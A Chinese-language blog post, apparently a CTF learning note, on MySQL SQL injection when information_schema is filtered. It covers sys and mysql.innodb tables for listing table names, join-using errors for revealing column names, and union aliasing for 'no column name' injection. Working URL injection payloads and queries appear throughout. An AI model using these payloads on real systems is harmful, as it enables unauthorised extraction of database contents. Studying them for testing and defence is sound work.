information_schema过滤与无列名注入

Posted 2021-09-14 paidx0

前言

在手工SQL注入时，我们常常会想着利用 information_schema库 来进行爆数据库名、表名、字段名，但如果 information_schema库 被禁用了怎么办？

正好遇到了这样一道题，所以来记录一下学习

简单介绍一下information_schema库

mysql中的information_schma这个库是干嘛的，在sql注入中它的作用是什么，那么有没有可以替代这个库的方法呢？

简单来说，information_schma库就像是mysql的信息数据库，它保存着mysql服务器所维护的所有其他数据库的信息，当然也就包括了数据库名、表名、列名。

在注入时，infromation_schema库的作用就是获取table_schema、table_name、column_name这些数据库内的信息。

MySQL5.7的新特性

在mysql在5.7版本中新增了sys.schema，基础数据来自于 performance_chema 和 information_schema 两个库，本身数据库不存储数据

所以就有了几个可以代替infromation_schema注入是的作用

sys.schema_auto_increment_columns 对表自增ID的监控

查询表的统计信息，其中还包括Innodb缓冲池统计信息，默认情况下按照增删改查操作的总表I/O延迟时间（执行时间）降序排序
…
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer

但是 sys.schema_auto_increment_columns这个库有些局限性，一般要超级管理员才可以访问sys。

类似可以利用的表还有：
mysql.innodb_table_stats、mysql.innodb_table_index同样存放有库名表名

无列名注入

上面的方法确实可以读取到数据库名和表名，但是列名呢？并没有找到可以读取列名的表

利用join-using注列名

通过系统关键词join可建立两个表之间的内连接。通过对想要查询列名所在的表与其自身内连接，会由于冗余的原因(相同列名存在)，而发生错误。并且报错信息会存在重复的列名，可以使用 USING 表达式声明内连接（INNER JOIN）条件来避免报错

爆表名
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

爆字段名
获取第一列的字段名及后面每一列字段名
?id=-1' union select*from (select * from users as a join users as b)as c--+
?id=-1' union select*from (select * from users as a join users b using(id,username))c--+
?id=-1' union select*from (select * from users as a join users b using(id,username,password))c--+

数据库中as作用是起别名，as是可以省略的，为了增加可读性，建议不省略。

正常查询

select 1,2,3,4,5 union select * from users;
无列名注入关键 就是要猜测表里有多少个列，要一一对应上，上面例子是有5个列
1，2，3，4，5 的作用就是对列起别名，替换为后面无列名注入做准备

接着就可以使用数字来对应列进行查询，如3对应了表里面的pass
select `3` from (select 1,2,3,4,5 union select * from users)as a;
就相当于select pass from (select 1,2,3,4,5 union select * from users)as a;
SQL 中反引号是可以代表数据库名和列名的
(select 1,2,3,4,5 union select * from users)as a 把括号里的查询数据重命名一张新的表 a，在从中查询

当反引号被禁用时，就可以使用起别名的方法来代替
select b from (select 1,2, 3 as b ,4,5 union select * from users)as a;
在注入时同时查询多个列
select group_concat(b,c) from (select 1,2, 3 as b , 4 as c ,5 union select * from users)as a;

其他爆表名的方法还可以延伸，可以参考这个

https://osandamalith.com/2020/01/27/alternatives-to-extract-tables-and-columns-from-mysql-and-mariadb/